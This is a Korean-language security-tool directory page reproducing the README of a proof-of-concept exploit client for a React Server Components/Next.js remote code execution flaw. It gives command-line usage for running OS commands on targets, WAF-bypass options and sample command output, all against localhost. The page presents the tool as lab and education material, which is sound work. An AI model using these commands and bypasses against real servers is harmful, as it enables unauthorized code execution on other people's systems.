Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
react2shell-scanner — RSC/Next.js 원격 코드 실행 취약점(CVE-2025-55182, CVE-2025-66478)의 정밀 기반 탐지 | Kitploit
도구/GitHubGitHub/hidden-investigations/react2shell-scanner
Vulnerability ScannersExploitationWeb Application ExploitationWAF BypassPenetration TestingLearning & Education
GitHubhidden-investigations/react2shell-scanner

react2shell-scanner

RSC/Next.js 원격 코드 실행 취약점(CVE-2025-55182, CVE-2025-66478)의 정밀 기반 탐지

저장소 보기웹사이트
547개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

React2Shell 스캐너 – PoC 포함

CVE-2025-55182 – React Server Components RCE PoC
Hidden Investigations React2Shell 실습을 위한 교육용 익스플로잇 클라이언트

이 저장소는 React Server Components / Next.js 애플리케이션의 잘못된 설정을 대상으로 하는 React2Shell 취약점(CVE-2025-55182)에 대한 단일 호스트 개념 증명(PoC) 익스플로잇 도구를 포함합니다.

이 도구는 공식 Hidden Investigations React2Shell 실습 또는 귀하가 명시적으로 소유/관리하는 시스템에서만 사용하도록 설계되었습니다.


⚠️ 법적 및 윤리적 고지

이 프로젝트는 교육 및 방어적 보안 연구 목적으로만 제공됩니다:

  • 다음에만 이 도구를 사용하십시오:
    • 공식 Hidden Investigations React2Shell 실습, 또는
    • 귀하가 소유하거나 명시적인 서면 허가를 받은 시스템.
  • 통제하지 않는 임의의 웹사이트, 프로덕션 시스템 또는 인프라를 대상으로 하지 마십시오.
  • 저자와 Hidden Investigations는 오용 또는 손해에 대해 어떠한 책임도 지지 않습니다.

이 도구를 사용함으로써 귀하는 모든 관련 법률 및 규정을 준수하는 데 동의합니다.


기능

  • 🔥 React2Shell 익스플로잇 클라이언트 (CVE-2025-55182)
  • 🎯 단일 호스트 집중 (대량 스캔 없음)
  • 📡 사용자 정의 경로 및 경로 목록 지원
  • 🧪 안전 점검 모드 (OS 명령 없음, 탐지 프로브만)
  • 🪟 Windows 친화 모드 (whoami 기본값)
  • 🛡️ WAF 우회 도우미:
    • 정크 multipart 필드 (--waf-bypass, --waf-bypass-size)
    • Vercel 레이아웃 조정 (--vercel-waf-bypass)
  • 🔐 TLS 옵션 (--insecure, 사용자 정의 헤더)
  • 🧾 JSON 출력 (-o/--output, --all-results)
  • 🧘 깔끔한 조용한 모드 출력 (다른 도구로 파이프하기에 적합)

  • 요구 사항

    • Python: 3.8+ (Python 3.10+에서 테스트)
    • 의존성:
      • requests

    다음 명령어로 의존성을 설치하세요:

    root@kitploit:~
    pip install -r requirements.txt
    

    설치

    1. Hidden Investigations 저장소를 클론하세요:
    root@kitploit:~
    git clone https://github.com/hidden-investigations/react2shell-poc.git
    cd react2shell-poc
    
    1. (권장) 가상 환경 생성:
    root@kitploit:~
    python3 -m venv venv
    source venv/bin/activate   # Windows: venv\Scripts\activate
    
    1. 요구 사항 설치:
    root@kitploit:~
    pip install -r requirements.txt
    
    1. 도구 실행:
    root@kitploit:~
    python3 react2shell-scanner.py -h
    

    사용법

    기본 도움말:

    root@kitploit:~
    python3 react2shell-scanner.py -h
    

    도구는 대상 URL이 필요합니다:

    root@kitploit:~
    python3 react2shell-scanner.py -t http://localhost:3000 -c "id"
    # 또는
    python3 react2shell-scanner.py --url http://localhost:3000 -c "id"
    

    -t/--target 또는 -u/--url 없이 실행하면 브랜드가 지정된 도움말 메시지를 출력하고 종료됩니다.


    명령줄 옵션

    대상 및 경로

    옵션설명기본값
    -t, --target대상 URL 또는 도메인 (--url이 사용되지 않은 경우 필수)None
    -u, --url--target의 별칭 (Assetnote 스타일 플래그)None
    --path테스트할 경로 (여러 번 사용 가능, 예: /, /_next)/
    --path-file테스트할 경로를 포함한 파일 (한 줄에 하나씩)None

    참고: 이 PoC는 단일 호스트 전용입니다. -l/--list 옵션은 존재하지만 의도적으로 비활성화되었습니다.


    익스플로잇 / 페이로드 동작

    옵션설명기본값
    -c, --command대상에서 실행할 명령 (익스플로잇 성공 시)id
    --safe-checkSAFE_CHECK 페이로드 사용 (OS 명령 없음, 마커 문자열만)off
    --windowsWindows 대상에 맞게 기본값 조정 (예: 명령이 id일 때 whoami 사용)off
    --waf-bypass요청 본문에 대량의 정크 multipart 필드를 추가하여 WAF 우회off
    --waf-bypass-size KB--waf-bypass 사용 시 정크 필드 크기 (KB)128
    --vercel-waf-bypassVercel WAF 동작을 조정하기 위한 대체 multipart 레이아웃 사용 (단순화된 PoC)off

    HTTP / TLS 옵션

    옵션설명기본값
    --timeout SECONDS요청 타임아웃 (초)15 (또는 --waf-bypass 사용 시 타임아웃 미설정이면 20)
    -k, --insecureSSL 검증 비활성화 (curl -k처럼)off
    -H, --header사용자 정의 헤더, 예: -H "X-Forwarded-For: 127.0.0.1" (반복 가능)None

    출력 / UX 옵션

    옵션설명기본값
    -o, --output FILEJSON 결과를 FILE에 쓰기None
    --all-results--output 사용 시 취약하지 않은 결과도 포함off
    -v, --verbose자세한 모드 – HTTP 상태 및 X-Action-Redirect 헤더 표시off
    -q, --quiet조용한 모드 – 성공 시 정규화된 명령 출력만 출력off
    --no-color색상이 있는 터미널 출력 비활성화off

    조용한 모드 예시 (깔끔한 여러 줄 출력):

    root@kitploit:~
    python3 react2shell-scanner.py --url http://localhost:3000 -q -c "ls -la"
    

    출력:

    root@kitploit:~
    total 12
    drwxr-xr-x    1 root     root            10 Dec 13 21:13 .
    drwxr-xr-x    1 root     root             0 Dec 13 21:13 ..
    drwxr-xr-x    1 nextjs   nodejs          12 Dec 13 21:13 .next
    drwxr-xr-x    1 nextjs   nodejs         396 Dec 13 21:13 node_modules
    -rw-r--r--    1 nextjs   nodejs         733 Dec 13 21:13 package.json
    drwxr-xr-x    1 root     root            12 Dec 13 19:13 public
    -rw-r--r--    1 nextjs   nodejs        5661 Dec 13 21:13 server.js
    

    대량 스캔 플래그 (의도적으로 비활성화됨)

    다음 플래그는 Assetnote의 CLI를 미러링하기 위해 존재하지만, 대량 스캔 오용을 방지하기 위해 이 PoC에서는 구현되지 않았습니다:

    옵션상태
    -l, --list구현되지 않음
    --threads N구현되지 않음

    -l/--list를 사용하면 도구가 경고를 출력하고 종료되며, 대규모 안전 스캔을 위해 Assetnote의 원본 react2shell-scanner를 사용할 것을 권장합니다.


    예시

    로컬 실습에서 실행:

    root@kitploit:~
    python3 react2shell-scanner.py --url http://localhost:3000 -c "whoami"
    

    더 큰 정크 필드로 WAF 우회 사용:

    root@kitploit:~
    python3 react2shell-scanner.py -t http://localhost:3000   --waf-bypass --waf-bypass-size 256   -c "id"
    

    동일한 호스트의 여러 경로:

    root@kitploit:~
    python3 react2shell-scanner.py -t http://localhost:3000   --path /   --path /_next/data   -c "id"
    

    파일에서 경로 읽기:

    root@kitploit:~
    python3 react2shell-scanner.py -t http://localhost:3000   --path-file paths.txt   -c "id"
    

    안전 점검 모드 (OS 명령 실행 안 함):

    root@kitploit:~
    python3 react2shell-scanner.py -t http://localhost:3000 --safe-check
    

    파일로 JSON 결과 출력:

    root@kitploit:~
    python3 react2shell-scanner.py -t http://localhost:3000   --path / --path /_next   -c "id"   -o results.json --all-results
    

    JSON 출력 형식

    -o/--output을 사용하면 도구가 다음과 같은 객체 배열을 씁니다:

    root@kitploit:~
    [
      {
        "url": "http://localhost:3000/",
        "path": "/",
        "success": true,
        "status": "success",
        "output": "uid=1000(nextjs) gid=1000(nodejs) groups=1000(nodejs)",
        "http": {
          "status_code": 302,
          "headers": {
            "X-Action-Redirect": "NEXT_REDIRECT;push;/login?a=uid%3D1000%28nextjs%29;307;",
            "...": "..."
          }
        }
      }
    ]
    

    크레딧 및 감사의 말

    • Hidden Investigations – React2Shell 교육 실습 및 PoC 클라이언트 공개.
    • @sakibulalikhan – 도구 작성자.
    • Assetnote – react2shell-scanner를 통한 WAF 우회 아이디어 영감.

    라이선스

    이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE를 참조하세요.

    📬 문의: [email protected]

    도구 다운로드